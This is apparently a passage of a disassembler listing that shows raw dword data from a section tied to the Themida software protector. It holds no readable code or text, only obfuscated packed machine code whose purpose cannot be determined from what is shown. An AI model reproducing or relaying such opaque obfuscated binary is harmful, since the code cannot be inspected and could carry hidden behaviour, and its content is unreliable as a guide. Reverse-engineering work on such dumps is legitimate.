		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 0E9FD8AC0h, 0Fh, 0C49BAE44h,	0F2E313Bh, 30005E6Ah, 89D30D94h
		dd 0A619A995h, 0C7816606h, 0BD83A656h, 6A60BE9h, 0D9850F03h
		dd 6A000003h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 7531C353h, 0BE17CD16h,	59BD898Eh
		dd 8306A62Bh, 0A9B6A3BDh, 840F0006h, 3A4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 3BC35646h, 811FDB80h
		dd 6C3642E3h, 0A3B5FF38h, 8906A9B6h, 0A62269BDh, 0B2BF6606h
		dd 1D95FF3Eh, 6A06A60Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0BA75C357h,	2F4D290Dh
		dd 12298589h, 0B58B06A6h, 6A9B697h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 59C35343h, 239E8BC1h, 0A606D9BDh
		dd 106C706h, 66000100h,	5096FE8Bh, 0FE8B6652h, 8E8310Fh
		dd 0EC000000h, 2E6A3F50h, 5F81B3F2h, 0E950585Ah, 13h, 76A784B0h
		dd 2AA04AA2h, 1D58EFB2h, 2CECAFD5h, 961060C1h, 28D18589h
		dd 0B5FF06A6h, 6A9B6A3h, 87F78166h, 0D195FF65h,	0FC06A629h
		dd 0B697B58Bh, 8D8906A9h, 6A63155h, 1D89B589h, 858B06A6h
		dd 6A60769h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	48C35141h, 0DA354CACh, 5E9h, 30E07800h,	8689A634h
		dd 0C4h, 30E2CF81h, 958B55B9h, 6A606ADh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 16h, 5EC35242h, 41BF3BE8h
		dd 0E96529C5h, 13h, 0FA8C22C1h,	97F0A6B6h, 0ACA6DA18h
		dd 0E3C36A72h, 23393AD7h, 0A62269BDh, 4C28306h,	5870Fh
		dd 81660000h, 89B40ECFh, 6A2050h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0BFFF78C3h, 667448DAh
		dd 0CA6B858Dh, 952906A9h, 6A62BC1h, 0B88689h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 1ECD27C3h, 0F381FFAAh, 4B4E4F7h, 5E8006Ah, 8B000000h
		dd 0FAFBB1DFh, 0AA90CB81h, 665B6E31h, 0FF7F99BBh, 0A9B6A3B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 2324692Ah, 95FF5CFBh, 6A6066Dh, 61B9F381h
		dd 0BF9669CBh, 848352Dh, 6A9650h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 3DF443C3h, 8CC93F05h
		dd 0BD8B262Bh, 6A618D1h, 0B6A3B5FFh, 0FA8A06A9h, 0A1595FFh
		dd 0E0BF06A6h, 837DEE36h, 0A62B29BDh, 840F0006h, 2Dh, 1EB9BD89h
		dd 895006A6h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0ECA7CAC3h, 0B0D04EE4h, 0A3B5FFF6h
		dd 6A06A9B6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0A3E8C356h, 6E1EA98Dh,	0BD0B5336h
		dd 6A625B9h, 5595FF5Bh,	6A06A61Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 361AC355h
		dd 5F6C5A77h, 0CE9501Ah, 7C000000h, 0E41F5EE3h,	56392E53h
		dd 5BE2F800h, 0B37EE781h, 0B5FF0E3Dh, 6A9B6A3h,	2AD995FFh
		dd 6A06A6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0E674D7C3h, 0DABF0FBDh, 2CF5BD83h, 0F0206A6h
		dd 2584h, 63CF8100h, 8B545EA6h,	0A6184185h, 5E906h, 0B5040000h
		dd 0C6D76BD4h, 8C0F0000h, 6, 1A418D89h,	85C706A6h, 6A62ED1h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C6C35242h
		dd 46FD5ADEh, 0FFF425E9h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BF504B0h
		dd 51006AC1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 202BC6DFh, 11FA7933h, 0FAB70F4Ah, 2CAD858Dh
		dd 9D8906A6h, 6A609ADh,	0CE95090h, 72000000h, 31823333h
		dd 0C197EF77h, 9097B5D9h, 6820F60h, 23000000h, 0A609D1BDh
		dd 6870F06h, 0F000000h,	84h, 6A6100h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 62C35343h, 722432FFh, 0C803AFF2h
		dd 25B589BAh, 6A06A609h, 499D2B00h, 8D06A62Ch, 0AB136D85h
		dd 0E58D8906h, 8306A604h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 331274C3h, 0A6186DBDh
		dd 66515006h, 5FB1D5BFh, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0BBC7C350h
		dd 669E139Bh, 8BAEC941h, 0A62DB59Dh, 66006A06h,	6AFE8Bh
		dd 8E9h, 36200800h, 6807787Dh, 4595FFABh, 5106A612h, 68F0Fh
		dd 0B5890000h, 6A6018Dh, 0FF8D8D5Fh, 6A06A994h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 8DFCC356h, 0FF63F17Ch, 57006AD1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 6011F0D0h
		dd 0F7D8A40h, 0E85h, 9E900h, 8A9B0000h,	2133E8C6h, 8340411Fh
		dd 0A61451BDh, 850F0106h, 51h, 32BD8509h, 26A06A6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 29C35747h, 13E9h
		dd 79CC5E00h, 0AFCE3CEDh, 9A5B2BCFh, 2A8202E0h,	0A4C0589Ch
		dd 1B7FBF50h, 4890D76h,	79B52924h, 0FF06A629h, 0A6066D95h
		dd 0DF4E906h, 0E80000h,	5D000000h, 1377ED81h, 6A06ABh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 208ECFC3h, 7BDBD8Bh,	6A06A6h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 6642CDC3h, 8DDA4ABFh
		dd 0A9864A85h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0E9082225h, 5,	4EC84789h
		dd 0DE9902Ch, 52000000h, 9B31FECBh, 6BB2441h, 575C6A1h
		dd 9002B350h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	0ACC35040h, 5BCC606Dh, 0FFBF0F75h, 35FF64h, 0E9000000h
		dd 8, 29A52139h, 9B4C6A95h, 258964h, 8A000000h,	6D85FFDAh
		dd 6A06A612h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C625C356h, 0C4E7F331h, 0FA665D7h
		dd 688h, 1D8D8900h, 6A06A610h, 53006AFFh, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 90DDDB05h
		dd 10E8h, 7D64FB00h, 0B333F2AEh, 9E15FC50h, 96288D70h
		dd 890F5008h, 0
		dd 81665F5Fh, 0FF1663D3h, 0A6135DB5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0A3554051h, 0BF66DC28h, 95FFE755h, 6A6116Dh,	151E9h
		dd 0E900B000h, 12h, 169B1099h, 2AC62C9Bh, 2E301A78h, 838DAD98h
		dd 78BFDAD7h, 0E653B7DAh, 0EF816670h, 71E4DB22h, 1ADDB589h
		dd 613C06A6h, 11C830Fh,	9D230000h, 6A62CD5h, 0FC8B60Fh
		dd 1783h, 12E900h, 0B5870000h, 7EC0B275h, 509AAB8Ah, 9BC1493Dh
		dd 24728E31h, 6BAh, 0F8BF0F00h,	0E1BBC18Bh, 0C1041EEBh
		dd 0BF0F04E8h, 0E2F766D9h, 2BDFB70Fh, 0F59D89C8h, 8B06A628h
		dd 65BD8BD1h, 6006A630h, 0CE9h,	1CFBE300h, 1BF9C308h, 0DCBB2A5Bh
		dd 1DBD8982h, 6106A631h, 0ADE9h, 0E59D3300h, 8B06A60Dh
		dd 4E4985h, 0F3816644h,	0C0835612h, 9CD78007h, 0E900C083h
		dd 0Fh,	8F88AF31h, 755E19D5h, 1545DB8Dh, 3B3B962Dh, 25830FD0h
		dd 0E8000000h, 6, 2369A364h, 0B589B8AEh, 6A61AA1h, 60E95Bh
		dd 0F530000h, 68Ah, 0B5BD8900h,	5B06A614h, 0FFFF8D8Bh
		dd 810FFFFFh, 2, 0E183FE8Bh, 3B840F01h,	0E8000000h, 11h
		dd 0F5AACCA1h, 87BF8502h, 0FD6642F7h, 2DF9DDFAh, 0BDBD2BF2h
		dd 5B06A62Ah, 0B4B0ACBBh, 0FFA58374h, 0FEFFFFFFh, 89FFBF0Fh
		dd 4E4995h, 0BABF6644h,	0E9D0h,	0B58D0000h, 6AA8C48h, 38DD1FBFh
		dd 99D8B42h, 6A06A629h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 9550627h, 0F6652730h
		dd 295995FFh, 0A4B906A6h, 6A000010h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 42E5C355h
		dd 198D897Ch, 8906A633h, 0A610258Dh, 0FCE18306h, 51006AFCh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0F566CA3Ah, 8B665776h, 0DE8B5FDFh, 0B8h, 0DFBB6600h
		dd 0BA89h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0C9B6A7C3h, 12E9h, 74CCEB00h, 1B50A845h
		dd 35B8EA60h, 0EBBF795Eh, 0BB223AE6h, 565AD278h, 1111BD8Bh
		dd 33AD06A6h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0AAB3ADC3h
		dd 35682132h, 9509780Eh, 6A62C21h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 49C35343h, 8EE25549h, 0DD07B1Dh
		dd 88h,	21698D89h, 958B06A6h, 6A606ADh,	8D8BD98Bh, 6A6040Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FEC35646h
		dd 1F11A9F6h, 9E9h, 0C246E500h,	0C33FBFADh, 66609C66h
		dd 9589F08Bh, 6A63369h,	0C28B5061h, 0C103188Bh,	0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 7F47C352h, 0F744FB0h
		dd 283h, 6ADE8B00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 6A85C357h, 3AE78166h, 0DDBD836Fh
		dd 6A60Fh, 89840Fh, 0BD8B0000h,	6A60B15h, 0B8h,	13890F00h
		dd 0E9000000h, 0Eh, 2CEA8CB2h, 88E52EA7h, 0CF176445h, 8D8D3423h
		dd 6A64F55h, 14199589h,	0AE806A6h, 0B5000000h, 0B4CA603Bh
		dd 893FC5C3h, 0FA8B6614h, 6AE1FF5Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 2CB3C352h
		dd 8FE1663Eh, 628176B4h, 14E9h,	876A9E00h, 0C82303F8h
		dd 0A45F76DAh, 7484DFB8h, 665657BDh, 359D8B09h,	8306A604h
		dd 0A60BE9BDh, 840F0006h, 3F0h,	26E38166h, 0E9BD83A3h
		dd 106A60Bh, 3F9840Fh, 0BB660000h, 0BD8371E1h, 6A60BE9h
		dd 0B2860F03h, 89000003h, 0A6321995h, 9D8B5306h, 6A6153Dh
		dd 9D8B605Fh, 6A61A3Dh,	6AD98C66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6E65C351h
		dd 72A61853h, 55662A8Ch, 6830F60h, 8B000000h, 0A60AC9BDh
		dd 11E806h, 0D72D0000h,	174A7354h, 0E1CCE665h, 0F8CCAFB5h
		dd 5F2B7B8Eh, 0AE861h, 9AC90000h, 29B83E26h, 41457F82h
		dd 30F1BD8Bh, 805B06A6h, 0EE904E1h, 4E000000h, 0C2411193h
		dd 99A73D8Eh, 61F503CAh, 0FC90AB2h, 10084h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0E44D7C29h, 7E849h, 74A70000h, 577068B6h, 698D8973h
		dd 5F06A61Fh, 98E38166h, 0DD858B0Dh, 5706A615h,	12E9h
		dd 4A182700h, 9954358Eh, 572E8969h, 40906F91h, 5BB2FEDAh
		dd 209D8533h, 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 23FB68C3h, 8B85F740h, 8B0F50FEh
		dd 14h,	0FE9h, 5B7D6B00h, 6CF18FE4h, 0A7E10EBCh, 6330858Dh
		dd 0F240489h, 6AFEBFh, 26E4ED68h, 0EAB3507Fh, 2434815Fh
		dd 7F39E712h, 6840Fh, 9D8B0000h, 6A613C5h, 0B3595FFh, 8DBF06A6h
		dd 89152801h, 0A60CF585h, 0A3858906h, 8B06A9B6h, 1DDE9D9h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 93759CC3h, 58BF6606h, 9B858B38h, 6A06A9B6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0EB7FC356h, 0F9F3ED26h, 0AFD1D781h, 0C72C6Eh
		dd 18h,	1D9D9509h, 0BD8B06A6h, 6A621C1h, 0B69FB58Bh, 6A06A9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0B095CFC3h, 0D9858B05h, 8906A62Eh, 0A607019Dh, 0D3816606h
		dd 6892E6Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0CAC35545h, 922C072Ch, 8D0F0C3Eh, 5, 5D3C58BBh
		dd 0DD858B33h, 6A06A615h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0E9C9C352h,	33CE18EBh
		dd 0FDC8ACFh, 4689F8B7h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 61476893h, 0BD29D84Ch
		dd 6A618E1h, 0DE8B6696h, 969EB350h, 6C27B3BBh, 9BB5FF7Eh
		dd 6A06A9B6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 1A24C352h, 0D60BD8C4h,	0BCE381C1h
		dd 687EBFFCh, 2EDAB95Fh, 3481FEB7h, 0C5BAA024h,	14BB662Eh
		dd 0A3858D80h, 6A06A9B6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0D674C357h,	0BB9398E4h
		dd 13B49A47h, 840F5F50h, 4, 126EBB66h, 0D98B6650h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 5B0BC356h, 2F49B3BAh, 160F0AA3h, 0CAECBB66h
		dd 0B3595FFh, 816606A6h, 61CC0FCFh, 33C99D8Bh, 85C706A6h
		dd 6A60BE9h, 3,	5830Fh,	0F530000h, 835BFFBFh, 0A9B6A3BDh
		dd 840F0006h, 39h, 0FE9h, 64C56600h, 21041C97h,	12B1848Ah
		dd 67DCC02h, 3BE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0DAE867AEh, 0C305016h
		dd 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 44C35343h, 0AB789176h, 0E54A2930h, 0BADEE381h
		dd 820F3A1Eh, 6, 1C1BD33h, 0E78106A6h, 7F40ABFEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 2CC35343h, 1915B531h
		dd 0BD8306A6h, 6A60BE9h, 0E6850F03h, 6A000003h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 4D91C352h, 0D5717827h, 0BD8384EBh, 6A9B6A3h,	0B6840F00h
		dd 6A000003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0B13DC351h, 0B45B6D49h, 29BC91F2h
		dd 0A6183D95h, 0A3B5FF06h, 6006A9B6h, 30499D8Bh, 0C98106A6h
		dd 5D223DB6h, 1D95FF61h, 6A06A60Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 8BC5C352h
		dd 582FF72h, 0BD8BD6CEh, 6A60749h, 0B697B58Bh, 6C706A9h
		dd 10001h, 50DF8B66h, 0AE8h, 87826100h,	0D88300h, 6681D8EAh
		dd 895FF98Bh, 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0BF0EF2C3h, 2D8A596h, 8936DECAh
		dd 0A631959Dh, 0DEBF0F06h, 12E860h, 0DE520000h,	3D83130Eh
		dd 156E4FCAh, 0E4B59438h, 5F116971h, 0FF615AF8h, 0A9B6A3B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0CDDE0305h, 810FAB4Fh, 0Eh, 0CDBD8B60h
		dd 8906A633h, 0A622A99Dh, 95FF6106h, 6A629D1h, 85DEE381h
		dd 0B58B1A50h, 6A9B697h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 8AC35747h, 858B0351h,	6A60769h, 3325B589h
		dd 868906A6h, 0C4h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0B3C35747h, 8BF7F046h, 0A606AD95h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0DE8B3367h, 6A04C283h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0AC13C350h,	90E58669h
		dd 0CD28FAA6h, 3019BD89h, 508906A6h, 819D8B20h,	8D06A61Ch
		dd 0A9CA6B85h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0C72675C1h, 19019D89h
		dd 868906A6h, 0B8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 25C35646h, 76FDE95h, 2B40D7F9h, 0A60CB5BDh
		dd 0AE906h, 4600000h, 5EFFDEA5h, 35E4A903h, 0C381006Ah
		dd 1B79088Ah, 0B5FFDF8Bh
dword_59CA00	dd 6A9B6A3h, 19B58D89h,	95FF06A6h, 6A6066Dh, 0E855006Ah
					; DATA XREF: Themida_:0055932Ao
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D6C35545h, 8AD68B99h
		dd 0DE996FDh, 33000000h, 583948F1h, 2F90A4B7h, 0E8988340h
		dd 8B666050h, 8E9C1h, 0C3160000h, 2A7983EFh, 966142A1h
		dd 29EF8166h, 0A3B5FF18h, 6006A9B6h, 850F03B2h,	1, 95FF61F9h
		dd 6A60A15h, 5FF88B50h,	2B29BD83h, 0F0006A6h, 2F84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0CBE05984h, 96B185F4h, 8B71BB66h, 9D8B9650h,	6A618B9h
		dd 0B6A3B5FFh, 0B70F06A9h, 5595FFD9h, 6A06A61Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 7D29C355h, 0EBD95F81h, 0B5897428h, 6A62D15h,	0B6A3B5FFh
		dd 0FFFC06A9h, 0A62AD995h, 0E3816606h, 0BD831DA3h, 6A62CF5h
		dd 3C840F02h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 3045C355h, 0F80455A3h
		dd 41858B96h, 2B06A618h, 0A619999Dh, 0C606h, 41E38166h
		dd 85BD034Bh, 0C706A61Ch, 0A62ED185h, 6, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0F329E904h, 9D89FFFFh, 6A631C9h, 8B57C18Bh, 0A604D9BDh
		dd 858D5F06h, 6A62CADh,	1A899D8Bh, 665006A6h, 89DF85BFh
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 62CA9EC3h, 150069AEh, 0B6785FAh, 0A611C19Dh
		dd 66006A06h, 6A8905BBh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 2D8589E5h, 8D06A613h
		dd 0AB235A85h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 3DBB6638h, 5C083C1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 36C35646h, 0D3E0D1E7h
		dd 6561FE7Bh, 0CE9h, 0AC7D8200h, 8BA51BB3h, 69A1B392h
		dd 0BB6650A1h, 489C87Eh, 51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0D99D8B2Ah, 6A06A604h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0B8D3CFC7h, 0FE3A0AE4h, 89006A12h, 0A605559Dh
		dd 4595FF06h, 8906A612h, 0A60D958Dh, 0FF8D8D06h, 2906A994h
		dd 0A6297185h, 0FD1FF06h, 8Ch, 0BE666000h, 6CBEAFC4h, 6150F9DBh
		dd 1451BD83h, 0F0106A6h, 9D85h,	0DF8B6600h, 1BC19D8Bh
		dd 26A06A6h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0ABC35242h, 12E937h, 5CDC0000h,	86F23323h, 6E6EC678h
		dd 676FBE06h, 582490D3h, 16850F50h, 0E9000000h,	11h, 96E20D3Dh
		dd 0ACBC2AA2h, 4E436640h, 0CE6E66B5h, 240489A9h, 4850Fh
		dd 0BB660000h, 95FFC359h, 6A6066Dh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0BEC35242h,	0D564D33Bh, 6850F52h
		dd 29000000h, 0A60145BDh, 92E95B06h, 0E800000Dh, 0
		dd 64ED815Dh, 0F06AB23h, 28Eh, 6ADE8B00h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8D40C353h
		dd 0A9864A85h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 8277EE03h, 73924BCDh
		dd 505690F5h, 0F525052h, 0F585A31h, 5F585A31h, 0A880F50h
		dd 60000000h, 850F6160h, 0
		dd 0E7809061h, 0FF64FCA7h, 35h,	9D896000h, 6A61F11h, 0FE8h
		dd 84582000h, 0E637918Fh, 7A97424Eh, 0A9760CD0h, 89646158h
		dd 25h,	0CE900h, 22F70000h, 410557B2h, 3FA0A5EEh, 85FF0FBAh
		dd 6A6126Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	5C35545h, 50911EE2h, 14419D8Bh,	0FF6A06A6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 88C35242h, 1A97E254h
		dd 8D892175h, 6A613D5h,	1EEDB5FFh, 0E1BF06A6h, 0FF23DED7h
		dd 0A6116D95h, 134E906h, 0AE90000h, 78000000h, 0CC93BB7Fh
		dd 0DCE35A9Ch, 6600B02Ah, 9A157BBh, 0A615F9BDh,	8970E606h
		dd 0A62B2D95h, 0B371E406h, 0F613C5Dh, 10583h, 0B60FF900h
		dd 10E8C8h, 0E5DE0000h,	3B94B6B8h, 884DF861h, 0D0783BDh
		dd 0C7807CB4h, 8D895B99h, 6A62275h, 6BAh, 0ADBD8900h, 8106A61Eh
		dd 653F2AD7h, 0F8C18B19h, 0F804E8C1h, 8BE2F766h, 0A62C159Dh
		dd 81C82B06h, 0E8E6F8EBh, 2CF8172h, 8B347073h, 5FF953D1h
		dd 0A9E9h, 6DB58900h, 8B06A60Dh, 5F4C4C85h, 0C8D0F50h
		dd 60000000h, 860Fh, 0BB660000h, 836181C3h, 8D8907C0h
		dd 6A63415h, 0E900C083h, 10h, 368ECD97h, 19FFCFC3h, 65F96500h
		dd 0E8EB1968h, 830FD03Bh, 14h, 13F98531h, 57E906A6h, 0F000000h
		dd 0BD01FBBFh, 6A629C1h, 0FFFF8D8Bh, 0BD8BFFFFh, 6A62CC5h
		dd 0F01E183h, 3984h, 12E800h, 0E6120000h, 0A35ADC73h, 5A01A0C7h
		dd 0F7E3A356h, 3AAEF52Eh, 197D8D89h, 835B06A6h,	0FFFFFFA5h
		dd 9D8BFEFFh, 6A61AC1h,	4C4C9589h, 8B66505Fh, 0E9FEh, 0B58D0000h
		dd 6AA9CECh, 7E9h, 0F4DB5600h, 6C724615h, 0BE9006Ah, 0FF000000h
		dd 0F9D2386h, 5C380D63h, 95FFD4BFh, 6A62959h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 79C35747h, 692AF1A5h
		dd 0CDB92324h, 0BF00000Dh, 2088B5EFh, 6AFCE183h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 9D9C355h, 251C06ECh,	0ACBB66FCh, 6AC02B42h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 7294C357h, 0C2063A82h, 79DE17EDh, 17800Fh, 11E80000h
		dd 61000000h, 8A1EADBBh, 8AD3014Bh, 346D98EEh, 0B7243DCDh
		dd 0B98D015Fh, 0BA06A619h, 0
		dd 0D9816660h, 0F51D440h, 6158FABFh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0BD2FBB66h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0E1C35545h, 63E76833h, 214C781h, 0DA8B2070h
		dd 880Dh, 14E900h, 3CB30000h, 10FF90D4h, 4399CC1h, 150533ECh
		dd 76DC6F6Dh, 958B10F9h, 6A606ADh, 8BDF8B66h, 0A6040D8Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 507F3979h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0C05AE358h, 0DE9CB096h, 81CAB0BFh
		dd 53006A7Eh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 4503DA8Fh, 0B589AB8Dh, 6A632F5h,	0FDDBD83h
		dd 0F0006A6h, 0AC84h, 719D3300h, 0E806A62Fh, 0Fh, 0F9B4722h
		dd 0A78C8511h, 0FD0EA0CEh, 8B2B5612h, 0B85FD9h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 1EA4C357h, 234C1263h, 2A6DDEA3h, 1870F60h
		dd 0F8000000h, 2CF78166h, 8D8D617Fh, 6A64F55h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h, 3C1DE903h
		dd 1324D99Eh, 6AE1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0F2A20EC3h, 9FF4757Fh, 8931DF0Bh
		dd 0A607959Dh, 0E9BD8306h, 6A60Bh, 3C2840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0B5179AC3h, 6390A885h, 0BF0FF85Ch, 0E9BD83F9h, 106A60Bh
		dd 3A9840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0B5F0F4C3h, 2D3F8968h, 0BD83E0E8h
		dd 6A60BE9h, 42860F03h,	6A000003h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0E827C353h
